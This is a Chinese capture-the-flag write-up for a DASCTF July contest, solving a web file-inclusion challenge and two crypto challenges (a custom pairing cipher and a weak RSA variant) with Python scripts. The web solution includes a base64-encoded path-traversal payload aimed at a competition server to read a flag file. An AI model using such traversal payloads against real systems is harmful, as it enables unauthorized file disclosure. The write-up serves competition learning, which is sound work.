安恒DASCTF 7月赛WP
字数统计:
763字
|
阅读时长:
3分
这次比赛搞错了时间,导致刚上去看了一道web就没有了(Crypto是偷偷找文件复现的)。tcl….
Web ezfileinclude 这道题有的谜,感觉是为了出题而出题(可能是我太年轻了)
有个很明显的文件包含,但要t与f两个参数。
t参数是当前时间流。
f参数要包含的文件的路径的base64。但过滤了../
但经过测试,只过来f参数开头几个字符是../
才被过滤。所以pay如下:
1 2 3 4 5 6 7 8 9 import timeimport requestsx='Z3F5LmpwZy8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn' url="http://183.129.189.60:10009/image.php?t=" +str(int(time.time()))+'&f=' +x x=requests.get(url) print(x.text)Crypto
Crypto bullshit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flag import flagdef pairing (a,b) : shell = max(a, b) step = min(a, b) if step == b: flag = 0 else : flag = 1 return shell ** 2 + step * 2 + flag def encrypt (message) : res = '' for i in range(0 ,len(message),2 ): res += str(pairing(message[i],message[i+1 ])) return res print(encrypt(flag))
分析一下题目,encrypt函数依次取flag的两个字符来通过pairing函数进行加密。
进入pairing发现,当a>=b时返回a*a+b*b
否则返回a*a+b*b+1
根据经验判断,可见字符的ascill码最大是126最小是33,即pairing函数的最大返回值为31752,最小返回值为2178。所以返回值以1开头必定是5位数,开头大于3一定是4位数。2与3bu确定。
姑且,尝试开头大于1一定是4位数(在做题时,手动试下发现字母是小写,之后觉得有点不妥)恰好得到flag。payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 """ Created on Sat Jul 25 22:08:06 2020 @author: 冰之幻魄 """ import stringdef pairing (a,b) : shell = max(a, b) step = min(a, b) if step == b: flag = 0 else : flag = 1 return shell ** 2 + step * 2 + flag ord(string.printable[1 ]) x='1186910804152291019933541010532411051999082499105051010395199519323297119520312715722' MAX=126 **2 +126 **2 MIN=33 **2 +33 *2 LIST=[] flag='' while len(x)>0 : if x[0 ]=='1' : LIST.append(x[:5 ]) x=x[5 :] else : LIST.append(x[:4 ]) x=x[4 :] for i in LIST: for a in string.printable: for b in string.printable: if pairing(ord(a),ord(b))==int(i): flag=flag+a+b print(flag)
EZrsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from secret import flagfrom Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytesfrom sympy import isprimem = bytes_to_long(flag) i=0 p=getPrime(1024 ) r=getPrime(1024 ) while True : i+=1 q = 5 *p+i if isprime(q): break n=p*q*r e = 65537 c = pow(m,e,n) p3 = pow(p,3 ,n) q3 = pow(q,3 ,n) print cprint eprint nprint p3print q3
眨眼一看,一个‘普通’RSA,但细看发现。p、q都被立方并与n相模。但n=p*q*r
、p与r经过getPrime(1024)随机生成。q的生成中经过至少经过一次q = 5*p+i
。因此p**3大概率小于n。因此可以直接开三次方根的p。(后来sw0r3d师傅说这个方法不好,应该预期解用ralate attack)。再逆向得到r、q。
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 """ Created on Sun Jul 25 23:22:10 2020 @author: 冰之幻魄 """ from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytesfrom sympy import isprimeimport gmpy2c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823 e=65537 n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091 p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513 q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397 p= int(gmpy2.iroot( p3, 3 )[0 ]) i=0 while True : i+=1 q = 5 *p+i if isprime(q): break r=n//p//q d = gmpy2.invert(e,(q-1 )*(p-1 )*(r-1 )) m=pow(c,d,n) print (long_to_bytes(m))